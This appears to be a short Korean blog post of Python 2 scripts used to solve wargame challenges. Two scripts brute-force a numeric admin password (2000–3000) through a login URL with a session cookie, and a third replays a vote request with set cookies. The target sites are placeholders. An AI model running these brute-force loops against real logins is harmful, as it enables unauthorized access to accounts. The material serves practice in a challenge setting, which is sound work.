워 게임 풀때 사용했던 방법.
import re
import httplib, urllib
params = ''
for i in range(2000,3000):
headers = {"Content-type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=11fb82672162216b51cc705b5b122ca3"}
conn = httplib.HTTPConnection("대상사이트.kr:80")
conn.request("GET", "/대상URL/index.php?cid=admin&cpw=%s" %i,params,headers)
response = conn.getresponse()
data = response.read()
ad = re.findall("admin</b>", data)
if ad:
print "The Password is %d" %i
break
print data
print i
conn.close()
==============================================================================
import re,time
import httplib, urllib
params = ''
for i in range(0,1):
headers = {"Content-type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=f1b76b27c014a6216d06141d7f0ce50a; vote_check=ok; notice="}
conn = httplib.HTTPConnection("대상사이트.kr:80")
conn.request("GET", "/challenge/codeing/code5.html?hit=bitfox",params,headers)
response = conn.getresponse()
data = response.read()
print data
time.sleep(1)
conn.close()
==============================================================================
2000에서 3000번 사이 패스워드 맞추기
import re
import urllib
for i in range(2000,3000):
fw = urllib.urlopen("http://대상URL/index.php?cid=admin&cpw=%s" %i)
read = fw.read()
admin = re.findall("환영합니다",read)
if admin:
print "The Password is %d" %i
break
print i
'Hello_World! > 애플추가_파이썬' 카테고리의 다른 글
Gmail의 SMTP를 이용한 메일 발송 (0) | 2011.10.05 |
---|---|
Web Shell Detection Using NeoPI (0) | 2011.09.01 |
[md5 cracker] icrack (0) | 2011.09.01 |
[자작쉘] http URL 긁어오기 (0) | 2011.08.08 |
[자작쉘]특정 디렉터리 찾기 (0) | 2011.08.08 |